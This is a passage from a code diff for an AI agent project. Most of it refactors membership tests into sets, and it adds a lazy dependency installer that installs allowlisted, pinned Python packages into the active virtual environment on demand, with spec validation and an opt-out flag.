"modal", "daytona", "vercel_sandbox"}: container_config = { "container_cpu": config.get("container_cpu", 1), "container_memory": config.get("container_memory", 5120), diff --git a/tools/computer_use/cua_backend.py b/tools/computer_use/cua_backend.py index ba50c57987c8..df1162c5d79b 100644 --- a/tools/computer_use/cua_backend.py +++ b/tools/computer_use/cua_backend.py @@ -673,5 +673,5 @@ def _parse_element(d: Dict[str, Any]) -> UIElement: pid=int(d.get("pid", 0) or 0), window_id=int(d.get("windowId", 0) or 0), attributes={k: v for k, v in d.items() - if k not in ("index", "role", "label", "bounds", "app", "pid", "windowId")}, + if k not in {"index", "role", "label", "bounds", "app", "pid", "windowId"}}, ) diff --git a/tools/computer_use/tool.py b/tools/computer_use/tool.py index 51c7656fc1a0..63a5076c1718 100644 --- a/tools/computer_use/tool.py +++ b/tools/computer_use/tool.py @@ -131,7 +131,7 @@ def _get_backend() -> ComputerUseBackend: with _backend_lock: if _backend is None: backend_name = os.environ.get("HERMES_COMPUTER_USE_BACKEND", "cua").lower() - if backend_name in ("cua", "cua-driver", ""): + if backend_name in {"cua", "cua-driver", ""}: from tools.computer_use.cua_backend import CuaDriverBackend _backend = CuaDriverBackend() elif backend_name == "noop": # pragma: no cover @@ -286,7 +286,7 @@ def _request_approval(action: str, args: Dict[str, Any]) -> Optional[str]: def _summarize_action(action: str, args: Dict[str, Any]) -> str: - if action in ("click", "double_click", "right_click", "middle_click"): + if action in {"click", "double_click", "right_click", "middle_click"}: if args.get("element") is not None: return f"{action} element #{args['element']}" coord = args.get("coordinate") @@ -314,7 +314,7 @@ def _dispatch(backend: ComputerUseBackend, action: str, args: Dict[str, Any]) -> if action == "capture": mode = str(args.get("mode", "som")) - if mode not in ("som", "vision", "ax"): + if mode not in {"som", "vision", "ax"}: return json.dumps({"error": f"bad mode {mode!r}; use som|vision|ax"}) cap = backend.capture(mode=mode, app=args.get("app")) return _capture_response(cap) @@ -335,7 +335,7 @@ def _dispatch(backend: ComputerUseBackend, action: str, args: Dict[str, Any]) -> res = backend.focus_app(app, raise_window=bool(args.get("raise_window"))) return _maybe_follow_capture(backend, res, capture_after) - if action in ("click", "double_click", "right_click", "middle_click"): + if action in {"click", "double_click", "right_click", "middle_click"}: button = args.get("button") click_count = 1 if action == "double_click": diff --git a/tools/cronjob_tools.py b/tools/cronjob_tools.py index 550b3e62970e..e63b60047acf 100644 --- a/tools/cronjob_tools.py +++ b/tools/cronjob_tools.py @@ -327,9 +327,8 @@ def cronjob( "the script is the job.", success=False, ) - else: - if not prompt and not canonical_skills: - return tool_error("create requires either prompt or at least one skill", success=False) + elif not prompt and not canonical_skills: + return tool_error("create requires either prompt or at least one skill", success=False) if prompt: scan_error = _scan_cron_prompt(prompt) if scan_error: diff --git a/tools/delegate_tool.py b/tools/delegate_tool.py index b0c79afc1194..b2c02aedaf8a 100644 --- a/tools/delegate_tool.py +++ b/tools/delegate_tool.py @@ -315,7 +315,7 @@ def _normalize_role(r: Optional[str]) -> str: if r is None or not r: return "leaf" r_norm = str(r).strip().lower() - if r_norm in ("leaf", "orchestrator"): + if r_norm in {"leaf", "orchestrator"}: return r_norm logger.warning("Unknown delegate_task role=%r, coercing to 'leaf'", r) return "leaf" @@ -437,7 +437,7 @@ def _get_orchestrator_enabled() -> bool: return val # Accept "true"/"false" strings from YAML that doesn't auto-coerce. if isinstance(val, str): - return val.strip().lower() in ("true", "1", "yes", "on") + return val.strip().lower() in {"true", "1", "yes", "on"} return True @@ -1239,7 +1239,7 @@ def _w(line: str = "") -> None: if tool_names: _w(f" loaded tool count: {len(tool_names)}") try: - _w(f" loaded tools: {sorted(list(tool_names))}") + _w(f" loaded tools: {sorted(tool_names)}") except Exception: pass _w("") @@ -2271,9 +2271,9 @@ def delegate_task( # total as "none" when the parent itself hadn't billed any calls # yet (rare but possible when the parent's only action this turn # was delegate_task). - if getattr(parent_agent, "session_cost_source", "none") in (None, "", "none"): + if getattr(parent_agent, "session_cost_source", "none") in {None, "", "none"}: parent_agent.session_cost_source = "subagent" - if getattr(parent_agent, "session_cost_status", "unknown") in (None, "", "unknown"): + if getattr(parent_agent, "session_cost_status", "unknown") in {None, "", "unknown"}: parent_agent.session_cost_status = "estimated" except Exception: logger.debug("Subagent cost rollup failed", exc_info=True) diff --git a/tools/environments/daytona.py b/tools/environments/daytona.py index 6eff002ae072..1c677fc467d2 100644 --- a/tools/environments/daytona.py +++ b/tools/environments/daytona.py @@ -51,6 +51,13 @@ def __init__( requested_cwd = cwd super().__init__(cwd=cwd, timeout=timeout) + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("terminal.daytona", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) from daytona import ( Daytona, CreateSandboxFromImageParams, @@ -124,7 +131,7 @@ def __init__( home = self._sandbox.process.exec("echo $HOME").result.strip() if home: self._remote_home = home - if requested_cwd in ("~", "/home/daytona"): + if requested_cwd in {"~", "/home/daytona"}: self.cwd = home except Exception: pass @@ -195,7 +202,7 @@ def _daytona_delete(self, remote_paths: list[str]) -> None: def _ensure_sandbox_ready(self) -> None: """Restart sandbox if it was stopped (e.g., by a previous interrupt).""" self._sandbox.refresh_data() - if self._sandbox.state in (self._SandboxState.STOPPED, self._SandboxState.ARCHIVED): + if self._sandbox.state in {self._SandboxState.STOPPED, self._SandboxState.ARCHIVED}: self._sandbox.start() logger.info("Daytona: restarted sandbox %s", self._sandbox.id) diff --git a/tools/environments/local.py b/tools/environments/local.py index 985bf4bdce87..7aa75a62d0c4 100644 --- a/tools/environments/local.py +++ b/tools/environments/local.py @@ -274,6 +274,17 @@ def _make_run_env(env: dict) -> dict: if _profile_home: run_env["HOME"] = _profile_home + # Inject ContextVar-based session vars into subprocess env. + # ContextVars don't propagate to child processes, so we bridge them here. + try: + from gateway.session_context import get_session_env, _UNSET, _VAR_MAP + for var_name, var in _VAR_MAP.items(): + value = var.get() + if value is not _UNSET and value: + run_env[var_name] = value + except Exception: + pass + return run_env diff --git a/tools/environments/modal.py b/tools/environments/modal.py index 4b7e9db0cd60..1a230d85603b 100644 --- a/tools/environments/modal.py +++ b/tools/environments/modal.py @@ -80,11 +80,23 @@ def _delete_direct_snapshot(task_id: str, snapshot_id: str | None = None) -> Non _save_snapshots(snapshots) +def _ensure_modal_sdk() -> None: + """Lazy-install modal on demand. Idempotent — fast no-op once installed.""" + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("terminal.modal", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) + + def _resolve_modal_image(image_spec: Any) -> Any: """Convert registry references or snapshot ids into Modal image objects. Includes add_python support for ubuntu/debian images (absorbed from PR 4511). """ + _ensure_modal_sdk() import modal as _modal if not isinstance(image_spec, str): @@ -183,6 +195,7 @@ def __init__( if restored_snapshot_id: logger.info("Modal: restoring from snapshot %s", restored_snapshot_id[:20]) + _ensure_modal_sdk() import modal as _modal cred_mounts = [] diff --git a/tools/environments/vercel_sandbox.py b/tools/environments/vercel_sandbox.py index 2b434af1594b..70edd54ad4ab 100644 --- a/tools/environments/vercel_sandbox.py +++ b/tools/environments/vercel_sandbox.py @@ -42,6 +42,19 @@ DEFAULT_VERCEL_CWD = "/vercel/sandbox" _DEFAULT_CONTAINER_DISK_MB = 51200 + + +def _ensure_vercel_sdk() -> None: + """Lazy-install vercel SDK on demand. Idempotent.""" + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("terminal.vercel", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) + + _CREATE_RETRY_ATTEMPTS = 3 _WRITE_RETRY_ATTEMPTS = 3 _TRANSIENT_STATUS_CODES = frozenset({408, 425, 429, 500, 502, 503, 504}) @@ -194,6 +207,7 @@ def _extract_snapshot_id(snapshot: Any) -> str | None: @cache def _sandbox_status_type() -> type[SandboxStatus]: + _ensure_vercel_sdk() from vercel.sandbox import SandboxStatus return SandboxStatus @@ -254,12 +268,13 @@ def __init__( self.init_session() def _build_create_params(self, *, cpu: float, memory: int, disk: int) -> _SandboxCreateParams: - if disk not in (0, _DEFAULT_CONTAINER_DISK_MB): + if disk not in {0, _DEFAULT_CONTAINER_DISK_MB}: raise ValueError( "Vercel Sandbox does not support configurable container_disk. " "Use the default shared setting." ) + _ensure_vercel_sdk() from vercel.sandbox import Resources sandbox_timeout = max( @@ -281,6 +296,7 @@ def _build_create_params(self, *, cpu: float, memory: int, disk: int) -> _Sandbo ) def _create_sandbox(self) -> Sandbox: + _ensure_vercel_sdk() from vercel.sandbox import Sandbox snapshot_id = _get_snapshot_id(self._task_id) if self._persistent else None @@ -336,7 +352,7 @@ def _configure_attached_sandbox(self, *, requested_cwd: str) -> None: if requested_cwd == "~": self.cwd = self._remote_home - elif requested_cwd in ("", DEFAULT_VERCEL_CWD): + elif requested_cwd in {"", DEFAULT_VERCEL_CWD}: self.cwd = self._workspace_root else: self.cwd = requested_cwd diff --git a/tools/file_operations.py b/tools/file_operations.py index 022943d9f0ea..91c5abae343e 100644 --- a/tools/file_operations.py +++ b/tools/file_operations.py @@ -1244,7 +1244,7 @@ def _search_files(self, pattern: str, path: str, limit: int, offset: int) -> Sea search_root = Path(path) has_hidden_path_ancestor = any( - part not in (".", "..") and part.startswith(".") + part not in {".", ".."} and part.startswith(".") for part in search_root.parts ) @@ -1305,7 +1305,7 @@ def _search_files(self, pattern: str, path: str, limit: int, offset: int) -> Sea rel_parts = Path(file_path).resolve().relative_to(normalized_root).parts except ValueError: rel_parts = Path(file_path).parts - if any(part not in (".", "..") and part.startswith(".") for part in rel_parts): + if any(part not in {".", ".."} and part.startswith(".") for part in rel_parts): continue filtered_files.append(file_path) files = filtered_files[offset:offset + limit] diff --git a/tools/file_tools.py b/tools/file_tools.py index c197061ade17..2cedc4bcd5f1 100644 --- a/tools/file_tools.py +++ b/tools/file_tools.py @@ -380,7 +380,7 @@ def _get_file_ops(task_id: str = "default") -> ShellFileOperations: logger.info("Creating new %s environment for task %s...", env_type, task_id[:8]) container_config = None - if env_type in ("docker", "singularity", "modal", "daytona", "vercel_sandbox"): + if env_type in {"docker", "singularity", "modal", "daytona", "vercel_sandbox"}: container_config = { "container_cpu": config.get("container_cpu", 1), "container_memory": config.get("container_memory", 5120), diff --git a/tools/fuzzy_match.py b/tools/fuzzy_match.py index 9a922cd9b34b..15cedd40e465 100644 --- a/tools/fuzzy_match.py +++ b/tools/fuzzy_match.py @@ -505,8 +505,7 @@ def _calculate_line_positions(content_lines: List[str], start_line: int, """ start_pos = sum(len(line) + 1 for line in content_lines[:start_line]) end_pos = sum(len(line) + 1 for line in content_lines[:end_line]) - 1 - if end_pos >= content_length: - end_pos = content_length + end_pos = min(content_length, end_pos) return start_pos, end_pos diff --git a/tools/image_generation_tool.py b/tools/image_generation_tool.py index 68f4af9ac0c7..c496166ec980 100644 --- a/tools/image_generation_tool.py +++ b/tools/image_generation_tool.py @@ -52,6 +52,13 @@ def _load_fal_client() -> Any: global fal_client if fal_client is not None: return fal_client + try: + from tools.lazy_deps import ensure as _lazy_ensure + _lazy_ensure("image.fal", prompt=False) + except ImportError: + pass + except Exception as e: + raise ImportError(str(e)) import fal_client as _fal_client # noqa: F811 — module-global rebind fal_client = _fal_client return fal_client @@ -575,7 +582,7 @@ def _build_fal_payload( payload: Dict[str, Any] = dict(meta.get("defaults", {})) payload["prompt"] = (prompt or "").strip() - if size_style in ("image_size_preset", "gpt_literal"): + if size_style in {"image_size_preset", "gpt_literal"}: payload["image_size"] = sizes[aspect] elif size_style == "aspect_ratio": payload["aspect_ratio"] = sizes[aspect] diff --git a/tools/kanban_tools.py b/tools/kanban_tools.py index 84105a9f8391..fab0a68c92ba 100644 --- a/tools/kanban_tools.py +++ b/tools/kanban_tools.py @@ -160,7 +160,7 @@ def _normalize_profile(value: Any) -> Optional[str]: if value is None: return None text = str(value).strip() - if not text or text.lower() in ("none", "-", "null"): + if not text or text.lower() in {"none", "-", "null"}: return None return text @@ -172,9 +172,9 @@ def _parse_bool_arg(args: dict, name: str, *, default: bool = False): if isinstance(value, bool): return value, None text = str(value).strip().lower() - if text in ("true", "1", "yes"): + if text in {"true", "1", "yes"}: return True, None - if text in ("false", "0", "no"): + if text in {"false", "0", "no"}: return False, None return default, f"{name} must be a boolean or 'true'/'false'" diff --git a/tools/lazy_deps.py b/tools/lazy_deps.py new file mode 100644 index 000000000000..d086d1173078 --- /dev/null +++ b/tools/lazy_deps.py @@ -0,0 +1,441 @@ +""" +Lazy dependency installer for opt-in Hermes Agent backends. + +Many Hermes features (Mistral TTS, ElevenLabs TTS, Honcho memory, Bedrock, +Slack, Matrix, etc.) require Python packages that not every user needs. The +historical approach was to bundle them all under ``pyproject.toml`` extras +(``hermes-agent[all]``) and install them eagerly at setup time. That has +two problems: + +1. **Fragility.** When one extra's transitive dependency becomes + unavailable on PyPI (quarantined for malware, yanked, broken upload), + the *entire* ``[all]`` resolve fails and fresh installs silently fall + back to a stripped tier — losing 10+ unrelated extras at once. + +2. **Bloat.** A user who only ever talks to one provider pulls hundreds + of packages they will never import. + +The lazy-install pattern fixes both. Backends call :func:`ensure` at the +top of their first-import path. If the deps are missing, ``ensure`` checks +the ``security.allow_lazy_installs`` config flag (default true) and runs +a venv-scoped pip install. If the user has explicitly disabled lazy +installs, ``ensure`` raises :class:`FeatureUnavailable` with a clear +remediation hint pointing at ``hermes tools`` or the manual pip command. + +Security model: + +* **Venv-scoped only.** Installs target ``sys.executable`` in the active + venv. We never touch the system Python. +* **PyPI by package name only.** Specs may be ``"package>=1.0,<2"`` etc. + We do NOT support ``--index-url`` overrides, ``git+https://``, file: + paths, or any other input that could be hijacked by a malicious config. +* **Allowlist.** Only specs that appear in :data:`LAZY_DEPS` can be + installed via this path. A typo in feature name doesn't get the user + install-anything semantics. +* **Opt-out.** Setting ``security.allow_lazy_installs: false`` in + ``config.yaml`` disables runtime installs. Users in restricted networks + or strict security postures can pin themselves to whatever was installed + at setup time. +* **Offline detection.** If the install fails (offline, mirror down, + PyPI 404 / quarantine), we surface the failure as + :class:`FeatureUnavailable` with the actual pip stderr — no silent + retries, no caching of bad state. + +Adding a new backend: + +1. Add an entry to :data:`LAZY_DEPS` with the package specs. +2. At the top of the backend module's import path, call + ``ensure("feature.name")`` inside a try/except that converts + :class:`FeatureUnavailable` to a useful runtime error. +""" + +from __future__ import annotations + +import logging +import os +import re +import shutil +import subprocess +import sys +from dataclasses import dataclass +from pathlib import Path +from typing import Optional + +logger = logging.getLogger(__name__) + + +# ============================================================================= +# Allowlist of lazy-installable backends. +# +# Keys are dot-separated feature names ("namespace.backend"). Values are +# tuples of pip-installable specs that match the corresponding extra in +# pyproject.toml. The framework enforces that only specs from this map +# can flow into the pip install command. +# ============================================================================= + + +LAZY_DEPS: dict[str, tuple[str, ...]] = { + # ─── Inference providers ─────────────────────────────────────────────── + # Native Anthropic SDK — needed when provider=anthropic (not via + # OpenRouter / aggregators which use the openai SDK). + "provider.anthropic": ("anthropic==0.86.0",), + # AWS Bedrock provider + "provider.bedrock": ("boto3==1.42.89",), + + # ─── Web search backends ─────────────────────────────────────────────── + "search.exa": ("exa-py==2.10.2",), + "search.firecrawl": ("firecrawl-py==4.17.0",), + "search.parallel": ("parallel-web==0.4.2",), + + # ─── TTS providers ───────────────────────────────────────────────────── + # Pinned to exact versions to match pyproject.toml's no-ranges policy + # (see comment at top of [project.dependencies]). When bumping, update + # both this map AND the corresponding extra in pyproject.toml. + # + # NOTE: tts.mistral / stt.mistral entries are intentionally absent — + # the `mistralai` PyPI project is quarantined as of 2026-05-12 (Mini + # Shai-Hulud worm). Re-add when PyPI restores a clean release; see + # comment in pyproject.toml above the (removed) `mistral` extra for + # the full restoration checklist. + "tts.edge": ("edge-tts==7.2.7",), + "tts.elevenlabs": ("elevenlabs==1.59.0",), + + # ─── Speech-to-text providers ────────────────────────────────────────── + "stt.faster_whisper": ( + "faster-whisper==1.2.1", + "sounddevice==0.5.5", + "numpy==2.4.3", + ), + + # ─── Image generation backends ───────────────────────────────────────── + "image.fal": ("fal-client==0.13.1",), + + # ─── Memory providers ────────────────────────────────────────────────── + "memory.honcho": ("honcho-ai==2.0.1",), + "memory.hindsight": ("hindsight-client==0.6.1",), + + # ─── Messaging platforms (lazy-installable on demand) ────────────────── + "platform.telegram": ("python-telegram-bot[webhooks]==22.6",), + "platform.discord": ("discord.py[voice]==2.7.1",), + "platform.slack": ( + "slack-bolt==1.27.0", + "slack-sdk==3.40.1", + ), + "platform.matrix": ( + "mautrix[encryption]==0.21.0", + "Markdown==3.10.2", + "aiosqlite==0.22.1", + "asyncpg==0.31.0", + "aiohttp-socks==0.11.0", + ), + "platform.dingtalk": ( + "dingtalk-stream==0.24.3", + "alibabacloud-dingtalk==2.2.42", + "qrcode==7.4.2", + ), + "platform.feishu": ( + "lark-oapi==1.5.3", + "qrcode==7.4.2", + ), + + # ─── Terminal backends ───────────────────────────────────────────────── + "terminal.modal": ("modal==1.3.4",), + "terminal.daytona": ("daytona==0.155.0",), + "terminal.vercel": ("vercel==0.5.7",), + + # ─── Skills ──────────────────────────────────────────────────────────── + "skill.google_workspace": ( + "google-api-python-client==2.194.0", + "google-auth-oauthlib==1.3.1", + "google-auth-httplib2==0.3.1", + ), + "skill.youtube": ("youtube-transcript-api==1.2.4",), + + # ─── Tools ───────────────────────────────────────────────────────────── + # ACP adapter (VS Code / Zed / JetBrains integration) + "tool.acp": ("agent-client-protocol==0.9.0",), + # Dashboard (`hermes dashboard`) + "tool.dashboard": ( + "fastapi==0.133.1", + "uvicorn[standard]==0.41.0", + ), +} + + +# Conservative regex for spec validation — package name plus optional +# version range. Reject anything that looks like a URL, file path, or shell +# metacharacter. +_SAFE_SPEC = re.compile( + r"^[A-Za-z0-9_][A-Za-z0-9_.\-]*" # package name + r"(?:\[[A-Za-z0-9_,\-]+\])?" # optional [extras] + r"(?:[<>=!~]=?[A-Za-z0-9_.\-+,*<>=!~]+)?" # optional version specifier + r"$" +) + + +class FeatureUnavailable(RuntimeError): + """A lazily-installable feature is missing and cannot be made available. + + Either the deps were never installed and the user has disabled lazy + installs, or the install attempt failed. + """ + + def __init__(self, feature: str, missing: tuple[str, ...], reason: str): + self.feature = feature + self.missing = missing + self.reason = reason + super().__init__(self._format()) + + def _format(self) -> str: + spec_list = " ".join(repr(s) for s in self.missing) + return ( + f"Feature {self.feature!r} unavailable: {self.reason}. " + f"To enable manually: uv pip install {spec_list} " + f"(or: pip install {spec_list})." + ) + + +@dataclass(frozen=True) +class _InstallResult: + success: bool + stdout: str + stderr: str + + +# ============================================================================= +# Internals +# ============================================================================= + + +def _allow_lazy_installs() -> bool: + """Return the ``security.allow_lazy_installs`` config flag. + + Defaults to True. If config is unreadable we fail open (allow), because + refusing to install would lock people out of their own backends; the + decision to block is an explicit user opt-in. + """ + if os.environ.get("HERMES_DISABLE_LAZY_INSTALLS") == "1": + return False + try: + from hermes_cli.config import load_config + cfg = load_config() + except Exception: + return True + sec = cfg.get("security") or {} + val = sec.get("allow_lazy_installs", True) + return bool(val) + + +def _spec_is_safe(spec: str) -> bool: + """Reject pip specs that contain URLs, paths, or shell metacharacters.""" + if not spec or len(spec) > 200: + return False + if any(ch in spec for ch in (";", "|", "&", "`", "$", "\n", "\r", "\t", "\\")): + return False + if spec.startswith(("-", "/", ".")) or "://" in spec or "@" in spec: + return False + return bool(_SAFE_SPEC.match(spec)) + + +def _pkg_name_from_spec(spec: str) -> str: + """Extract the bare package name from a pip spec. + + ``"slack-bolt>=1.18.0,<2"`` → ``"slack-bolt"`` + ``"mautrix[encryption]>=0.20"`` → ``"mautrix"`` + """ + m = re.match(r"^([A-Za-z0-9_][A-Za-z0-9_.\-]*)", spec) + return m.group(1) if m else spec + + +def _is_satisfied(spec: str) -> bool: + """Best-effort check: is ``spec`` already satisfied in the current env? + + We don't enforce the version range — if the package is importable + we assume the user knows what they're doing. This matches how the + lazy-import sites already behave. + """ + pkg = _pkg_name_from_spec(spec) + try: + from importlib.metadata import PackageNotFoundError, version + except ImportError: + return False + try: + version(pkg) + return True + except PackageNotFoundError: + return False + except Exception: + return False + + +def _venv_pip_install(specs: tuple[str, ...], *, timeout: int = 300) -> _InstallResult: + """Install ``specs`` into the active venv using uv → pip → ensurepip ladder. + + Mirrors the strategy in ``hermes_cli.tools_config._pip_install`` but + kept independent here so this module has no CLI dependency. + """ + if not specs: + return _InstallResult(True, "", "") + + venv_root = Path(sys.executable).parent.parent + uv_env = {**os.environ, "VIRTUAL_ENV": str(venv_root)} + + # Tier 1: uv (preferred — fast, doesn't need pip in the venv) + uv_bin = shutil.which("uv") + if uv_bin: + try: + r = subprocess.run( + [uv_bin, "pip", "install", *specs], + capture_output=True, text=True, timeout=timeout, env=uv_env, + ) + if r.returncode == 0: + return _InstallResult(True, r.stdout or "", r.stderr or "") + logger.debug("uv pip install failed: %s", r.stderr) + except (subprocess.TimeoutExpired, FileNotFoundError) as e: + logger.debug("uv invocation failed: %s", e) + + # Tier 2: python -m pip (with ensurepip bootstrap if needed) + pip_cmd = [sys.executable, "-m", "pip"] + try: + probe = subprocess.run( + pip_cmd + ["--version"], + capture_output=True, text=True, timeout=15, + ) + if probe.returncode != 0: + raise FileNotFoundError("pip not in venv") + except (subprocess.TimeoutExpired, FileNotFoundError): + try: + subprocess.run( + [sys.executable, "-m", "ensurepip", "--upgrade", "--default-pip"], + capture_output=True, text=True, timeout=120, check=True, + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as e: + return _InstallResult(False, "", + f"pip not available and ensurepip failed: {e}") + + try: + r = subprocess.run( + pip_cmd + ["install", *specs], + capture_output=True, text=True, timeout=timeout, + ) + return _InstallResult(r.returncode == 0, r.stdout or "", r.stderr or "") + except subprocess.TimeoutExpired as e: + return _InstallResult(False, "", f"pip install timed out: {e}") + except Exception as e: + return _InstallResult(False, "", f"pip install failed: {e}") + + +# ============================================================================= +# Public API +# ============================================================================= + + +def feature_specs(feature: str) -> tuple[str, ...]: + """Return the registered specs for a feature, or raise KeyError.""" + if feature not in LAZY_DEPS: + raise KeyError(f"Unknown lazy feature: {feature!r}") + return LAZY_DEPS[feature] + + +def feature_missing(feature: str) -> tuple[str, ...]: + """Return the subset of specs for ``feature`` not currently installed.""" + return tuple(s for s in feature_specs(feature) if not _is_satisfied(s)) + + +def ensure(feature: str, *, prompt: bool = True) -> None: + """Make sure all packages for ``feature`` are importable. + + If they're missing, attempts to install them in the active venv. Raises + :class:`FeatureUnavailable` if the user has disabled lazy installs or + if the install attempt fails. + + ``prompt``: when True (default) and stdin is a TTY, asks the user to + confirm before installing. Non-interactive callers (gateway, cron, + batch) get prompt=False and skip the confirmation — config flag is + the gate in that case. + """ + if feature not in LAZY_DEPS: + raise FeatureUnavailable( + feature, (), f"feature {feature!r} not in LAZY_DEPS allowlist" + ) + + missing = feature_missing(feature) + if not missing: + return + + # Validate every spec against the allowlist + safety regex. Belt and + # braces — the keys-in-LAZY_DEPS check above already constrains this. + for spec in missing: + if not _spec_is_safe(spec): + raise FeatureUnavailable( + feature, missing, + f"refusing to install unsafe spec {spec!r}" + ) + + if not _allow_lazy_installs(): + raise FeatureUnavailable( + feature, missing, + "lazy installs disabled (security.allow_lazy_installs=false)" + ) + + if prompt and sys.stdin.isatty() and sys.stdout.isatty(): + spec_list = ", ".join(missing) + try: + answer = input( + f"\nFeature {feature!r} requires: {spec_list}\n" + f"Install into the active venv now? [Y/n] " + ).strip().lower() + except (EOFError, KeyboardInterrupt): + answer = "n" + if answer and answer not in ("y", "yes"): + raise FeatureUnavailable( + feature, missing, "user declined install at prompt" + ) + + logger.info("Lazy-installing %s for feature %r", " ".join(missing), feature) + result = _venv_pip_install(missing) + if not result.success: + # Surface the actual pip error so the user can debug PyPI-side + # issues (404 quarantine, network down, etc.). + snippet = (result.stderr or result.stdout or "").strip() + if snippet: + # Clip to a readable size — pip can dump pages of resolution traces. + snippet = snippet[-2000:] + raise FeatureUnavailable( + feature, missing, + f"pip install failed: {snippet or 'no error output'}" + ) + + # Verify post-install. importlib.metadata caches per-process, so if we + # just installed something the cache may not see it without a refresh. + try: + import importlib.metadata as _md + if hasattr(_md, "_cache_clear"): + _md._cache_clear() # type: ignore[attr-defined] + except Exception: + pass + + still_missing = feature_missing(feature) + if still_missing: + raise FeatureUnavailable( + feature, still_missing, + "install reported success but packages still not importable " + "(may require Python restart)" + ) + + logger.info("Lazy install complete for feature %r", feature) + + +def is_available(feature: str) -> bool: + """Return True if the feature's deps are already satisfied.""" + if feature not in LAZY_DEPS: + return False + return not feature_missing(feature) + + +def feature_install_command(feature: str) -> Optional[str]: + """Return the ``pip install`` command a user could run manually, or None.""" + if feature not in LAZY_DEPS: + return None + specs = LAZY_DEPS[feature] + return "uv pip install " + " ".join(repr(s) for s in specs) diff --git a/tools/memory_tool.py b/tools/memory_tool.py index 80ee3c63d67e..236760a464ab 100644 --- a/tools/memory_tool.py +++ b/tools/memory_tool.py @@ -291,7 +291,7 @@ def replace(self, target: str, old_text: str, new_content: str) -> Dict[str, Any if len(matches) > 1: # If all matches are identical (exact duplicates), operate on the first one - unique_texts = set(e for _, e in matches) + unique_texts = {e for _, e in matches} if len(unique_texts) > 1: previews = [e[:80] + ("..." if len(e) > 80 else "") for _, e in matches] return { @@ -341,7 +341,7 @@ def remove(self, target: str, old_text: str) -> Dict[str, Any]: if len(matches) > 1: # If all matches are identical (exact duplicates), remove the first one - unique_texts = set(e for _, e in matches) + unique_texts = {e for _, e in matches} if len(unique_texts) > 1: previews = [e[:80] + ("..." if len(e) > 80 else "") for _, e in matches] return { @@ -477,7 +477,7 @@ def memory_tool( if store is None: return tool_error("Memory is not available. It may be disabled in config or this environment.", success=False) - if target not in ("memory", "user"): + if target not in {"memory", "user"}: return tool_error(f"Invalid target '{target}'. Use 'memory' or 'user'.", success=False) if action == "add": diff --git a/tools/mixture_of_agents_tool.py b/tools/mixture_of_agents_tool.py index a34e99aa8f70..35f9fc003f0b 100644 --- a/tools/mixture_of_agents_tool.py +++ b/tools/mixture_of_agents_tool.py @@ -54,6 +54,7 @@ from tools.openrouter_client import get_async_client as _get_openrouter_client, check_api_key as check_openrouter_api_key from agent.auxiliary_client import extract_content_or_reasoning from tools.debug_helpers import DebugSession +import sys logger = logging.getLogger(__name__) @@ -451,7 +452,7 @@ def get_moa_configuration() -> Dict[str, Any]: print("❌ OPENROUTER_API_KEY environment variable not set") print("Please set your API key: export OPENROUTER_API_KEY='your-key-here'") print("Get API key at: https://openrouter.ai/") - exit(1) + sys.exit(1) else: print("✅ OpenRouter API key found") diff --git a/tools/osv_check.py b/tools/osv_check.py index 52458fdd32a8..e094b2721045 100644 --- a/tools/osv_check.py +++ b/tools/osv_check.py @@ -65,9 +65,9 @@ def check_package_for_malware( def _infer_ecosystem(command: str) -> Optional[str]: """Infer package ecosystem from the command name.""" base = os.path.basename(command).lower() - if base in ("npx", "npx.cmd"): + if base in {"npx", "npx.cmd"}: return "npm" - if base in ("uvx", "uvx.cmd", "pipx"): + if base in {"uvx", "uvx.cmd", "pipx"}: return "PyPI" return None diff --git a/tools/patch_parser.py b/tools/patch_parser.py index d2a298fc9f80..dacc6e855c34 100644 --- a/tools/patch_parser.py +++ b/tools/patch_parser.py @@ -263,7 +263,7 @@ def _validate_operations( simulated = read_result.content for hunk in op.hunks: - search_lines = [l.content for l in hunk.lines if l.prefix in (' ', '-')] + search_lines = [l.content for l in hunk.lines if l.prefix in {' ', '-'}] if not search_lines: # Addition-only hunk: validate context hint uniqueness if hunk.context_hint: @@ -282,7 +282,7 @@ def _validate_operations( continue search_pattern = '\n'.join(search_lines) - replace_lines = [l.content for l in hunk.lines if l.prefix in (' ', '+')] + replace_lines = [l.content for l in hunk.lines if l.prefix in {' ', '+'}] replacement = '\n'.join(replace_lines) new_simulated, count, _strategy, match_error = fuzzy_find_and_replace( diff --git a/tools/process_registry.py b/tools/process_registry.py index 260ba4739fdf..8bbe1f56b7c1 100644 --- a/tools/process_registry.py +++ b/tools/process_registry.py @@ -1237,7 +1237,7 @@ def kill_all(self, task_id: str = None) -> int: killed = 0 for session in targets: result = self.kill_process(session.id) - if result.get("status") in ("killed", "already_exited"): + if result.get("status") in {"killed", "already_exited"}: killed += 1 return killed @@ -1446,7 +1446,7 @@ def _handle_process(args, **kw): if action == "list": return json.dumps({"processes": process_registry.list_sessions(task_id=task_id)}, ensure_ascii=False) - elif action in ("poll", "log", "wait", "kill", "write", "submit", "close"): + elif action in {"poll", "log", "wait", "kill", "write", "submit", "close"}: if not session_id: return tool_error(f"session_id is required for {action}") if action == "poll": diff --git a/tools/rl_training_tool.py b/tools/rl_training_tool.py index d2a5c3bfbb56..c7acb8012e13 100644 --- a/tools/rl_training_tool.py +++ b/tools/rl_training_tool.py @@ -919,7 +919,7 @@ async def rl_stop_training(run_id: str) -> str: run_state = _active_runs[run_id] - if run_state.status not in ("running", "starting"): + if run_state.status not in {"running", "starting"}: return json.dumps({ "message": f"Run '{run_id}' is not running (status: {run_state.status})", }, indent=2) diff --git a/tools/send_message_tool.py b/tools/send_message_tool.py index 785b42a3d9f6..c8d84fdf213d 100644 --- a/tools/send_message_tool.py +++ b/tools/send_message_tool.py @@ -1034,7 +1034,7 @@ async def _send_discord(token, chat_id, message, thread_id=None, media_files=Non filename=os.path.basename(media_path), ) async with session.post(thread_url, headers=auth_headers, data=form, **_req_kw) as resp: - if resp.status not in (200, 201): + if resp.status not in {200, 201}: body = await resp.text() return _error(f"Discord forum thread creation error ({resp.status}): {body}") data = await resp.json() @@ -1052,7 +1052,7 @@ async def _send_discord(token, chat_id, message, thread_id=None, media_files=Non }, **_req_kw, ) as resp: - if resp.status not in (200, 201): 